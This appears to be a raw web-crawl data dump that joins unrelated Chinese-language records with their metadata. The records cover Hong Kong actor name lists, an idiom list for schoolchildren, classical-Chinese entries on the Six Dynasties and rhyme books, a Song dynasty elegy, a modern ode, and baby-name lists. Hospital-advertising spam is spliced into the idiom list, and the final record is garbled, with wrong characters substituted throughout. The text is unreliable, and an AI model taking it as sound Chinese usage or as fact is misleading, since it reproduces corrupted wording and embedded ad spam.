周梓盈 陳靖雲 譚偉權 秦啓維 張漢斌 衛志豪 鄭詠謙 李海生 林敬剛 趙樂賢 楊證樺 曾健明 司徒暉 陳榮峻 盧峻峯 易智遠 方紹聰 謝可逸 黃耀煌 蕭凱欣 梁雯蔚 鄧英敏 黃建東 鄭恕峯 莫家淦 曾琬莎 李忠希 關浩揚\n蕭正楠 姚子羚 黃智賢 洪永城 何廣沛 張兆輝 姜大衛 吳岱融 陳瀅 曾航生 甄詠珊 梁舜燕 張達倫 李璧琦 文雪兒 秦煌 李楓 盧宛茵 馮素波 彭懷安 楊瑞麟 林韋辰 鄧永健 劉思希 李霖恩 古明華 魯振順 邵卓堯 莊思明 何綺雲 尹詩沛 吳沚默 李天縱 譚坤倫 葉蒨文 陳嘉慧 何遠東 張智軒 康華 劉芷希 崔錦棠 莫家淦 何佩珉 易智遠 黃建東 蔡國威 杜大偉 煒烈 秦啓維 鄧以婷 喬寶寶 黃柏文 歐陽偉豪 鄭詠謙 張本立 曾健明\n陳松伶 陳煒 黃智賢 徐榮 江嘉敏 陳瀅 餘德丞 林韋辰 楊卓娜 鄭敬基 盧宛茵 程可爲 邵卓堯 徐玟晴 陳榮峻 譚永浩 吳珮如 張漢斌 遊莨維 曾健明 區靄玲 魏惠文 易智遠 戴耀明 關梓陽 李興華 杜大偉 黃得生 範仲恆 莊思明 吳香倫 趙樂賢 湯俊明 陳俊堅 陳嘉輝 沈可欣 吳瑞庭 楊證樺 吳嘉儀 潘冠霖 布偉傑 譚偉權 黃穎君 梁雯蔚 莫家淦 周寶霖\n何廣沛 朱晨麗 龔嘉欣 江嘉敏 吳業坤 黃嘉樂 吳岱融 龔慈恩 楊卓娜 袁文傑 於淼 李國麟 王綺琴 韋家雄 鄭子誠 車婉婉 陳嘉輝 郭少芸 徐榮 樊亦敏 古明華 張國強 李日升 吳卓衡 阮政峯 李綺雯 郭千瑜 陳婉婷 丁樂鍶 衛志豪 蘇恩磁 陳榮峻 戴耀明 張智軒 吳展驊 方紹聰 伍禮騫 黃耀煌 煒烈 林敬剛 李岡龍 甄詠珊 劉天龍 康華 傅嘉莉 張達倫 謝芷倫 易宇航 莊思明 顏仟汶 曾健明 周麗欣 張漢斌 李麗麗 簡家麒 梁珈詠 陳靖雲 李嘉晉 易智遠 吳香倫\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E6%98%93%E6%99%BA%E9%81%A0------------.html","date":"2020-09-26T09:11:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400238038.76\/warc\/CC-MAIN-20200926071311-20200926101311-00228.warc.gz","language":"lzh","language_score":0.7570922375,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.7570922374725342, \"cmn_Hani_score\": 0.1390261948108673, \"nan_Hani_score\": 0.09817203134298325}","num_words":309,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.779,"perplexity_score":500.0,"cluster_detection":1} +{"text":"小学描写景物的四字词语\n春光明媚 春寒料峭 春暖花开 春色撩人 鹅毛大雪\n春和景明 春花秋月 春华秋实 春晖寸草 如登春台\n秋月春花 秋月春风 皮里春秋 暮云春树 满园春色\n丽藻春葩 口角春风 虎尾春冰 寒木湖北中医羊角风医院春华 大地回春\n春雨如油 春蚓秋蛇 春意阑珊 齿牙春色 春蛙秋蝉\n春诵夏弦 春生夏长 春深似海 春山如笑 春笋怒发\n春色满园 春树暮云 春色撩人 春葩丽藻 春暖花开\n春露秋霜 春花秋月 春和景明 春风沂水 春晖寸草\n唇色满园 春山如笑 春深似海 春生秋杀 春生夏长看癫疯病去哪家医院好?p>\n秋收冬藏 春笋怒发 春蛙秋蝉 春意盎然 春意阑珊\n春雨如油 寸草春晖 大地回春 雨丝风片 寻花问柳\n寒木春华 红情绿意 红衰翠减 阳春有脚 雨后春笋\n虎尾春冰 花红柳绿 花香鸟语 雨后春笋 莺啼燕语\n口角春风 枯木逢春 流水落花 柳暗花明 流水桃花\n辽宁癫痫病医院哪好 轮扁斫轮 落花流水 满园春色 柳绿花红 研桑心计\n鸟语花香 前目后凡 秦晋之好 阳光明媚 燕语莺声\n如登春台 春梦无痕 阳春白雪 如坐春风 春兰秋菊\n四时八节 桃红柳绿 有脚阳春 燕语莺啼\n江山如画、春暖花开、春雨绵绵、桃红李白、百花争艳、\n春光明媚、桃红柳绿、蜂儿童癫娴发作者吃什么营养补飞蝶舞、春意盎然、万紫千红、\n万物复苏、含苞欲放、花枝招展、五彩斑斓、桃红柳绿\n【小学描写景物的四字词语】相关文章:\n1.\n2.\n3.\n4.\n5.\n6.\n7.\n8.","id":"","dump":"CC-MAIN-2021-10","url":"http:\/\/wx.pxiog.com\/detail\/q270v.html","date":"2021-03-06T11:16:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178374686.69\/warc\/CC-MAIN-20210306100836-20210306130836-00380.warc.gz","language":"lzh","language_score":0.5342987776,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5342987775802612, \"cmn_Hani_score\": 0.30327773094177246, \"jpn_Jpan_score\": 0.09715025871992111, \"nan_Hani_score\": 0.03908447548747063, \"yue_Hani_score\": 0.013446386903524399, \"wuu_Hani_score\": 0.012688729912042618}","num_words":95,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.546,"perplexity_score":500.0,"cluster_detection":1} +{"text":"六朝 有二說。一曰吳、晉、宋、齊、梁、陳六代,皆都建康,以唐許嵩始出。一曰魏、晉、宋、齊、梁、陳六代,宋司馬光用為正統,乃以為六朝。今人言六朝者,多從許說也。\n韻書 ,字書之依韻編次者也。實為正音而作,並釋字義,亦有類書、字彙之效也。\n詩 ,俗云 詩歌 。曰:「詩者,志之所之也。在心為志,發言為詩。」嚴羽云:「詩者,吟詠性情也」。\n夫駢文者,古文體也。四六字為一句,務求對仗。又押韻者駢賦也。因其求藝之美,多以之寫景而不敍事。\n,總集也,清吳楚材、吳調侯輯。鑒選散文,正蒙養而裨後學。康熙三十四年成書。所錄,上啓東周,下迨有明,凡散文二百二十二。其中古文維多,亦柬選駢文數篇。文章所涉,史傳、策論、遊記、書信、筆記云云。今中華庠序,所授文言,亦多採焉。\n,之記也。今諸篇,亦有附記於後。記與精相出入者,以廣學者見聞。\n,別名。傳魯太史左丘明所作,故曰左氏。左丘明者,魯君子也,孔子友之。或曰長於孔子,以故孔子嘗引其言以自見。丘明又作。\n清談者,清言也。魏晉間士族好老莊,鄙事態,語玄虛事,乃成一時風氣,謂之曰清談。 漢末天下大亂,兵戈起,儒學衰敗。曹氏、司馬氏先後持國鼎,然皆非寬厚者,不以道義為重,孔北海、稽中散俱橫死。高平陵事後,士人噤若寒蟬,不敢擅議世事。 時王弼注易、老、莊,事理具名,辭藻亦工,天下奇之,以為玄學。 玄學者,貴無為薄有為、貴虛無薄世俗。士善之,蓋皆莫擅言政事,以保身故,乃寄于虛無耳。聚而談玄者,清談也。 清談本源諸避世,然後世慕其風雅而趨附者衆,故而成風。后晉室南遷,乃蔚然成風,人手皆麈尾,出口皆玄虛。 然世間諸務皆世俗,帝皇將相皆世俗。士人無心俗物,朝綱廢,倫常亂,天下凋敝,刀兵四至,六朝輪替,終起五胡 ...\n揚州 ,古稱 楊州 、 邗 ,或稱 廣陵 、 維揚 ,簡稱 揚 。禹貢九州所謂揚州者,非今揚州也。居大江之北,今為地级市,隶江蘇省。京杭運河貫於城中,古來漕、鹽繁盛,徽商雲集,時號曰:江省繁麗,莫勝蘇揚。復有文士、名伶者,比比皆是,園林寺觀,往往而在,是爲風流之地。諺云「蘇州以市肆勝,揚州以園林勝,杭州以湖山勝」。江淮間言淮語,蓋以揚州音韻爲宗。\n四聲 者,漢語調類也,古音分四聲,曰平、上、去、入。後,全濁清化,調分陰陽,成四聲八調,南人漢語承之,或添或減。北人漢語,平分陰陽,失入聲而分派他聲。普通話有三聲四調,平分陰陽,入派三聲,濁上歸去。粵語有九音,四聲皆分陰陽,而陰入又分上下,成九音。吳語猶四聲,而有連續變調。越南語平玄二聲爲平,問跌二聲爲上,銳重二聲爲去入。\n賦 者,韻文也,賦其名出於荀卿。漢人以屈宋之辭、荀卿之賦,又稱「 辭賦 」。主以四六字為句,故又稱「 四六賦 」 賦源於先秦,起於詩騷,盛於漢,興六朝。其體如文,而有用韻。漢初成體,承騒之音律,用奇字,引史故,時以排比、駢偶,而成鋪張揚厲之風。\n士族 者,或曰 門第 、 衣冠 、 世族 、 門閥 、 勢族 、 世家 、 巨室 。蓋謂世居要位之高門也。世族所居不同,中原世族南遷者,於江南曰 僑姓 ,如:王謝袁蕭。於東南之世族曰 吳姓 ,如:朱、張、顧、陸。山東曰 郡姓 ,王崔盧李鄭。關中亦曰 郡姓 。韋裴柳薛楊杜。代北曰 虜姓 :元、長孫、宇文、于、陸、源、竇。門閥興於漢魏六朝,及侯景作亂於三吳,金陵被禍,王謝咸值巨創,繁華隨江去矣。逮李唐之世,山東名士若崔、盧者,互通婚姻,朝廷行禁婚之令。天祐二年,梁王全忠納柳璨謀,淹殺清流凡三十餘人,門閥爲之一空,於時殆盡。是爲白馬之禍。五代訖宋初,猶有名門列朝者,以降不見史傳。\nⓘ 六朝書\n- 六朝 有二說 一曰吳 晉 宋 齊 梁 陳六代 皆都建康 以唐許嵩 建康實錄 始出 一曰魏 晉 宋 齊 梁 陳六代 宋司馬光 資治通鑑 用為正統 乃以為 六朝 今人言 六朝 者 多從許說也 許嵩 建康實錄序\n- 南京 古號建業 建康 秣陵 金陵 集慶 應天 江寧等 别名石頭 揚都 人稱 六朝 古都 孫吳 晉 宋 齊 梁 陳 南唐 明 民國悉嘗都之 今為中華人民共和國江蘇之會 自古乃虎踞龍蟠 王氣之地 山河險固 近長江之口 乃其 龍首 也 是以定都南京 俊彥輩出 南京四時分明 降雨充沛 偎依長江 水源充足\n- 魏書 江式傳 載 韻集 宮商角徵羽各為一篇 五聲 五音 何干後世聲 韻 調 兩書體例與後世韻書之異同 皆不可考 據 顏氏家訓 音辭 自茲厥後 音韻蜂出 各有土風 遞相非笑 可知 六朝 韻書蜂出 獨不傳耳 隋代陸法言 切韻 論南北是非 古今通塞 捃选精切 除消疏緩 惟今僅存殘卷焉\n- 先秦 詩經 楚辭 漢 樂府 賦 賦 韻文也 有韻即謂之詩 漢賦乃楚辭之裔也 漢初者大類騷體 古詩 古體詩也 非古典詩詞統稱 六朝 駢賦 山水詩 田園詩 山水 田園亦古詩也 然為變體 以其去風骨而好艷色 永明體 近體鼻祖 以其體制未備而八病過苛 與眾不同 故單列 唐 律詩 即近體詩 詞 雖盛於宋 實始於唐\n- 駢文又名四六文 此名源唐末李商隱 樊南四六甲乙集 始得名 書 已有駢文之形 舜典 云 流共工於幽州 放驩兜於崇山 竄三苗於三危 殛鯀於羽山 四罪而天下咸服 秦李斯 諫逐客 書 亦如是 駢文生秦漢 盛魏晉 興 六朝 泛唐朝 朝廷發號施令的典重文字 更無不用駢文 瞿兌之 駢文概論 沒於宋 復於清\n- 禮記 之傳 始盛於後漢 鄭興 鄭眾 馬融之屬皆為之 融授鄭玄 玄為作 禮記注 是 禮記 始列於經也 至於魏晉 六朝 天下紛亂 然無論南北 治 禮記 者咸宗玄 唐孔穎達撰 五經正義 以 禮記 為經 為作正義 唐舉士 以 禮記 並 左傳 為 大經 學者咸以 禮\n- 卷之四 秦文 楚辭 錄 戰國策 楚辭 各篇章 卷之五 漢文 錄 史記 篇章 卷之六 漢文 錄晁錯 司馬相如 李陵 諸葛亮等人文章 卷之七 六朝 唐文錄陶淵明 魏徵 韓愈 王勃等人文章 卷之八 唐文 錄韓愈文章 卷之九 唐宋文 錄柳宗元 范仲淹 司馬光 歐陽脩等人文章 卷之十 宋文 錄歐陽脩 三蘇文章\n- 氏 虔作 左氏傳解誼 逵作 春秋左氏傳解詁 晉征南將軍杜預 號 左傳癖 積數十年之功 成 春秋經傳集解 由是左氏盛於 六朝 而公羊 榖梁俱微焉 唐興 孔穎達因杜 書 成 春秋正義 以為大經 列於 五經正義 流布天下 至於日本 朝鮮 宋因唐制 亦以左傳為大經 而呂祖謙好之 為作 東萊博議 節選左傳之言 以為作文之資\n- 然世間諸務皆世俗 帝皇將相皆世俗 士人無心俗物 朝綱廢 倫常亂 天下凋敝 刀兵四至 六朝 輪替 終起五胡亂華 衣冠南渡 故曰清談誤國 是風於蕭梁仍未見止 梁武帝衍崇佛好道 興寺四百八 僧眾無算 儼然佛國 而竟為侯景饑死 元帝繹自謂 四十六歲 自聚 書 來四十年 得 書 八萬卷 而一朝蒙難 盡焚其 書 是為江陵焚書\n- 園林寺觀 往往而在 是爲風流之地 諺云 蘇州以市肆勝 揚州以園林勝 杭州以湖山勝 江淮間言淮語 蓋以揚州音韻爲宗 漢爲廣陵國 屬徐州刺史部 魏 六朝 皆因之 及歸北齊 號吳州 以青 兗二州之民充之 隋文皇開皇九年 以吳州爲揚州 治於丹陽 始得今名 大業四年 通濟渠濟 城中百業遂興 唐高祖武德八年\n- 中古本四聲 及後音變 分陰陽調 合八聲 稱四聲八調 四聲之名 始於 六朝 齊梁人沈約作 四聲譜 劃平 上 去 入 梁 書 載梁武帝問周捨曰 何謂四聲 捨曰 天子聖哲是也 天子聖哲者 對平上去入也 四聲何物 竟無一說 只知例字 古今音變 今音上字兼有上去二聲 言動作者上聲 言位置者去聲 六朝","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/google-cn.info\/a10\/1\/%E5%85%AD%E6%9C%9D%E6%9B%B8.html","date":"2021-12-03T03:24:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00225.warc.gz","language":"lzh","language_score":0.475102514,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4751025140285492, \"cmn_Hani_score\": 0.415847510099411, \"nan_Hani_score\": 0.09111101180315018, \"wuu_Hani_score\": 0.011830772273242474}","num_words":403,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.682,"perplexity_score":500.0,"cluster_detection":1} +{"text":"錢君倚哀詞\n大江之南兮,震澤之北。吾行四方而無歸兮,逝將此焉止息。豈其土之不足食兮,將其人之難偶。非有食無人之為病兮,吾何適而不可。獨裴回而不去兮,眷此邦之多君子。有美一人兮,了然而清,頎然而瘦。亮直多聞兮,古之益友。帶規矩而蹈繩墨兮,佩芝蘭而服明月。載而之世之人兮,世捍堅而不答。雖不答其何喪兮,超仿徉而自得。吾將觀子之進退以自卜兮,相行止以效清濁。子奄忽而不返兮,世混混吾焉則?升空堂而挹遺像兮,吊凝塵於幾席。茍律我者之信亡兮,吾居此其何益。行徨而無徒兮,悼舍此而奚向?豈存者之舉無其人兮,遼遼如晨星之相望。吾比年而三哭兮,堂堂皆國之英。茍處世之恃友兮,幾如是而吾不亡。臨大江而長嘆兮,吾不濟其有命。\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/zh.wikisource.org\/wiki\/%E9%8C%A2%E5%90%9B%E5%80%9A%E5%93%80%E8%A9%9E","date":"2019-09-24T08:40:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514572896.15\/warc\/CC-MAIN-20190924083200-20190924105200-00469.warc.gz","language":"lzh","language_score":0.7180866003,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.7180866003036499, \"cmn_Hani_score\": 0.0464821383357048, \"zxx_Latn_score\": 0.04272894188761711, \"und_Tang_score\": 0.034561991691589355, \"nan_Hani_score\": 0.026700999587774277}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.369,"perplexity_score":500.0,"cluster_detection":1} +{"text":"北方有美人兮,宛若清扬;屈魂赋以香草兮,兰心慧质。粉黛无施兮,芙蓉出水;明眸皓齿兮,日月同光。藉朝之霞兮,以为衣;剪云之风兮,是为裳。履步轻盈兮,掌中飞燕;顾盼一笑兮,倾人国城。\n女子尚美兮,镜花水月;女子多才兮,不老青山。一日而替兮,四时之景;千古遗芳兮,万世华章。\n古传史笔千秋兮,班昭续汉书;风韵高迈兮,文姬奏胡笳。口吐芳华兮,道韫咏絮才;璇玑绝唱兮,若兰回文殇。多才风雅兮,婉儿称绝丽;扫眉才子兮,薛涛笺世传。词国俊杰兮,漱玉绝古今;英女红艳兮,淑贞欲断肠。曲中易安兮,秀眉女洙泗;烈女魂销兮,郭爱辞绝命。\n今有红尘不染兮,爱玲风雅存;人生苦短兮,三毛不喜平。青天无尘兮,萧红影如霞;孟尝在世兮,庐隐觅香魂。质洁一身兮,评梅自风流;学林人瑞兮,雪林舞化蝶。绝代风华兮,徽因诗千寻;心如明泉兮,小曼才旷世。乱世倾情兮,冰之孕兰心;爱撒人寰兮,婉莹情如海。\n古今才女兮,廿人如是;千秋不一兮,琳琅不尽。壮气滔滔兮,豪墨波澜;神思朗朗兮,悲喜为篇。襟怀寰宇兮,目阔八方;怜世伤民兮,笔惊风雨。三毫纤纤兮,河海汤汤;运管柔柔兮,云疆渺渺。荆钗独步兮,须眉失色;弱柳扶风兮,东箭鲁钝。\n日月飘忽兮,花落人独立;春秋相继兮,幽香袭人远。爱女临世兮,望愿其如斯;独耽翰墨兮,著书而无他。名曰文馨兮,父母之宏愿;文章千古兮,明德馨万年。此生顺达兮,前行需砥砺;一身和乐兮,心宽定路远。","id":"","dump":"CC-MAIN-2020-24","url":"http:\/\/www.unjs.com\/zuowen\/sanwensuibi\/20191108192725_2222549.html","date":"2020-05-26T08:42:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347390755.1\/warc\/CC-MAIN-20200526081547-20200526111547-00294.warc.gz","language":"lzh","language_score":0.7357636094,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7357636094093323, \"nan_Hani_score\": 0.053290482610464096, \"cmn_Hani_score\": 0.03232165798544884, \"zxx_Latn_score\": 0.029415396973490715, \"yue_Hani_score\": 0.016514655202627182}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.42,"perplexity_score":500.0,"cluster_detection":1} +{"text":"楊姓男孩名字大全,男孩子天生剛強,在名字的選擇上也要符合男孩子本有的氣質,一個好的名字還能增添個人魅力,下面就為大家提供一些男孩的名字供大家選擇。\n楊振海 楊振麟 楊振林 楊振濱 楊振膑 楊智茗 楊膑 楊天膑 楊湛 楊天卓 楊善彬 楊衡 楊善弟 楊森宇 楊善帝 楊曉菊 楊錦濤 楊凌晨 楊小軍 楊東岳 楊天霸 楊天民 楊殷德 楊瑾 楊善思 楊福澤 楊竣迪 楊善測 楊天百 楊付強 楊天白 楊富強 楊天潇 楊亦然 楊士祥 楊天嘯 楊翔竣 楊天笑 楊天帆 楊兆天 楊天冰 楊天立 楊善哲 楊天水 楊善析 楊郝 楊善長 楊天柳 楊天雲 楊芝雄 楊善磊 楊雲天 楊善航 楊善學 楊天潞 楊善鵬 楊雲潞 楊潤鋒 楊留凡 楊潞之 楊善權 楊潞 楊依凡 楊永平 楊恆 楊沛禹 楊庭峰 楊沛淇 楊沛冬 楊沛東 楊雲峰 楊靈峰 楊頂峰 楊若鴻 楊建偉 楊小蓮 楊梓豪 楊德平 楊雪曦 楊曦雲 楊鴻志 楊雲曦 楊松竹 楊雨航 楊希田 楊希汛 楊希哲 楊若蒲 楊希彤 楊希廷 楊希庭 楊然 楊忠濂 楊忠敏 楊敏忠 楊雲忠 楊忠 楊晟淵 楊新秀 楊懷禮 楊雲禮 楊晟 楊雲琰 楊泰華 楊雨鳳 楊雯月 楊寶鋒 楊雨潼 楊馨雨 楊寶峰 楊希吉 楊謹瑜 楊雨吉 楊寶慶 楊雲吉 楊雲淞 楊雙吉 楊子桐 楊善傑 楊京潤 楊則霖 楊曉烨 楊振航 楊卓淇 楊哲淇 楊雙羽 楊靈淇 楊軒淇 楊雨璇 楊舒岚 楊占財 楊曉方 楊世華 楊璞 楊進國 楊童景 楊景童 楊雲良 楊希良 楊良泉 楊丹泉 楊浠泉 楊明泉 楊潤青 楊咚泉 楊海 楊海泉 楊照泉 楊馳泉 楊泉 楊玺沣 楊雲沣 楊靈沣 楊名策 楊珀濱 楊珀靈 楊珀洋 楊珀琥 楊琥珀 楊善賢 楊冬琥 楊澤琥 楊振琥 楊銘策 楊振明 楊珙焱 楊景焱 楊宸焱 楊瑞焱 楊熔焱 楊炎焱 楊火焱 楊晨焱 楊優權 楊鈞岚 楊焰卉 楊炎卉 楊尊凱 楊亞偉 楊岷嘉 楊學宇 楊爍焱 楊焱缦 楊錦平 楊爍焓 楊焓卉 楊卉焱 楊海熳 楊朝勇 楊海卉 楊燠卉 楊煜卉 楊政偉 楊光惠 楊焱卉 楊爍潞 楊卉熳 楊熳卉 楊少鋒 楊爍卉 楊爍惠 楊爍穗 楊爍禧 楊恆睿 楊爍陽 楊若飛 楊秀池 楊苓 楊鈴 楊靈 楊山 楊浪漫 楊曉炜 楊驿 楊籐 楊淑瑜 楊鎖 楊曼 楊昕桡 楊小靜 楊爍墁 楊紅林 楊銘楷 楊振超 楊焱田 楊國君 楊君秀 楊洪森 楊宸 楊蔓索 楊洪生 楊禾爍 楊和爍 楊耕田 楊田熳 楊田 楊恬 楊恬熠 楊社梁 楊熳甜 楊甜蔓 楊稚莺 楊爍甜 楊爍恬 楊熳田 楊爍田 楊國軍 楊順雅 楊蕊華 楊華光 楊光華 楊卓發 楊環菲 楊光雲 楊雲光 楊根生 楊雪晗 楊曦曼 楊曦熳 楊曦蔓 楊斯斯 楊振宇 楊青遠 楊振風 楊振海 楊振晖 楊振浠 楊骜訣 楊振福 楊振亮 楊建民 楊振華 楊明策 楊銘浩 楊九霄 楊振深 楊政海 楊振雄 楊正茂 楊振淋 楊振雲 楊振邦 楊舟 楊廣儒 楊志雲 楊全 楊國平 楊振北 楊善博 楊振敏 楊明珠 楊振民 楊振彬 楊振斌 楊振瀚 楊善斯","id":"","dump":"CC-MAIN-2021-17","url":"http:\/\/www.3322.online\/quming\/qmmj\/201612\/91916.html","date":"2021-04-20T21:53:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039491784.79\/warc\/CC-MAIN-20210420214346-20210421004346-00040.warc.gz","language":"lzh","language_score":0.9786993861,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9786993861198425, \"cmn_Hani_score\": 0.013761032372713089}","num_words":297,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.978,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n戴冠杰 戴亦伦 戴龙海 戴落军 戴乐军 戴子然 戴博冬 戴卜石 戴一峄 戴旺仔 戴仔旺 戴子运 戴子旺 戴子孙 戴博石 戴芷芸 戴博实 戴荟芸 戴惠芸 戴慧芸 戴芸蕾 戴雅芸 戴紫芸 戴青芸 戴清芸 戴芸 戴畅思 戴思畅 戴樱 戴钲罡 戴雪凤 戴政纲 戴赠岗 戴贺玄 戴甸真 戴屹晨 戴晨屹 戴宋恩 戴孝洛 戴廷洛 戴凯洛 戴初享 戴琪之 戴琪虹 戴其虹 戴木芝 戴其芝 戴淇芝 戴棋芝 戴宏秀 戴虹芝 戴红芝 戴九芝 戴文芝 戴芝 戴麒芝 戴柒芝 戴琪芝 戴七芝 戴明芝 戴民之 戴民芝 戴文利 戴庆柒 戴庆琪 戴庆七 戴定琪 戴宽琪 戴琪一 戴琪琪 戴三琪 戴天七 戴新民 戴鸿志 戴三七 戴仁柒 戴三柒 戴丰柒 戴镜萱 戴菀霖 戴一鸣 戴超宇 戴佳沁 戴发正 戴佳嘉 戴嘉佳 戴子华 戴诗伊 戴诗奕 戴诗仪 戴诗翌 戴诗诣 戴诗逸 戴诗浓 戴诗豪 戴杰书 戴书杰 戴诗杰 戴骏逸 戴添盛 戴建辉 戴越越 戴岳岳 戴岳 戴阅 戴译菡 戴译瀚 戴译韩 戴译晗 戴新爱 戴译寒 戴一寒 戴仪寒 戴艾寒 戴佚寒 戴志豪 戴弋寒 戴伊菡 戴艾菡 戴梓菡 戴琰馨 戴昭如 戴颜辛 戴颜昕 戴颜歆 戴颜锌 戴成旭 戴映辉 戴佳凡 戴佳昕 戴佳卉 戴佳芊 戴佳晗 戴光晟 戴文宗 戴佳卫 戴谙纳 戴安纳 戴宁林 戴思琪 戴慧贤 戴绍达 戴博伟 戴琪力 戴寺繁 戴思繁 戴瑜良 戴佳珍 戴佳祯 戴良林 戴钰凌 戴钰尔 戴芮 戴强 戴钰安 戴钰慧 戴婕 戴钰涵 戴雅鹃 戴钰娴 戴田 戴子翔 戴国翔 戴土民 戴国 戴道鸣 戴道民 戴春翔 戴道明 戴风翔 戴若翔 戴林翰 戴仲翔 戴志翔 戴易翔 戴雨翔 戴贵翔 戴琛佩 戴语翔 戴楚翔 戴伟翔 戴凝翔 戴觉翔 戴吾翔 戴悟翔 戴明翔 戴鸣翔 戴书欣 戴呜翔 戴翔之 戴弈翔 戴亦翔 戴逸祥 戴逸翔 戴海芝 戴佳蒙 戴弈轩 戴小方 戴佳希 戴希佳 戴添华 戴乐天 戴添乐 戴家兴 戴隽逸 戴亦隽 戴笑榕 戴逸磊 戴周朋 戴斯仪 戴逸斯 戴亦斯 戴盛榕 戴亦岚 戴逸岚 戴逸枫 戴亦枫 戴少谦 戴佳昀 戴伟佳 戴志杰 戴智杰 戴觐 戴永清 戴晋 戴天骜 戴天鳌 戴天翱 戴天獒 戴天螯 戴方祠 戴小雁 戴筱雁 戴诚坤 戴成坤 戴天敖 戴敖 戴思仪 戴纹 戴思珏 戴思浓 戴赐 戴亦思 戴亦哲 戴亦盛 戴亦峦 戴亦图 戴亦夫 戴亦楚 戴亦垄 戴楠 戴亦森 戴逸强 戴亦诗 戴亦书 戴长宏 戴一磊 戴亦 戴亦舒 戴亦鹏 戴长晟 戴亦晖 戴亦宏 戴亦山 戴亦磊 戴亦飘 戴亦珏 戴树斌 戴飚 戴凡 戴亦隼 戴逸隼 戴逸骏 戴逸隽 戴赛清 戴大发 戴千卜 戴千子 戴千斌 戴北海 戴仙仙 戴友法 戴亦华 戴亦兴 戴亦呜 戴亦明 戴亦群 戴文标 戴逸闻 戴文飞 戴亦浓 戴文育 戴亦杰 戴逸思 戴晴女 戴思逸 戴雨浓 戴将 戴靓女 戴坤","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/www.mf-sj.cn\/a\/show_446.aspx","date":"2023-11-30T21:06:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100232.63\/warc\/CC-MAIN-20231130193829-20231130223829-00017.warc.gz","language":"lzh","language_score":0.6242307425,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6242307424545288, \"cmn_Hani_score\": 0.2502743601799011, \"wuu_Hani_score\": 0.07433578372001648, \"nan_Hani_score\": 0.03298783674836159, \"yue_Hani_score\": 0.01695183478295803}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.619,"perplexity_score":500.0,"cluster_detection":1} +{"text":"可选外1个或多个上点靶枢系词,搜刮相湿材料。也否直接点\"搜刮材料\"搜刮整个题目。\n丁开顺 丁女异 丁梦周 刁近鹏 寸草 万传新 马春燕 扁斌 扁皑 扁明 扁绍武 方茂鸿 方礼惠 方有新 王涛 王勇 王斌 王口翰 王乐陶 王国熙 王君贤 王亚洲 王清华 王野琰 王守省 王少石 王涛 王衰 王金泉 王地亮 王业霖 王文 韦斯琴 冯玉山 卢安仄难迩 史文涛 刘云鹤 刘地明 刘蔚山 刘廷龙 刘云鹏 刘华骏 后其仁 向能庆 孙振鸿 孙国庆 墨女敬 贪和平 贪皑亭 墨国美 墨宗华 贪痛娣 江毛安 江涤华 许庆君 许云瑞 汪钧 汪东 汪永安 汪德仄 汪敏文 阮良之 邢培林 余龙生 余永森 余国紧 弛煜 张宇 弛业修 张晓东 张德林 张以永 张汉超 弛永茂 弛定华 弛永巨 弛悠炳 弛学群 李力 李牧 李杰 李传周 李浑臣 李田野 杨长勤 杨霁成 杨士林 杨兴玲 杨华耀 闵祥德 鲜萍 鲜野羽 鲜孝全 鲜拜了外 陈浩金 邹富春 纵 竖 吴绍昌 季汉章 孟滢 孟繁皑 周彬 周军 周国亮 周总疑 周嘉亭 林玉英 林熟若 欧遐方 范振海 郑伊农 姜隐净 姜秀真 娄捭国 柯酽林 胡政彬 胡克勤 赵琦 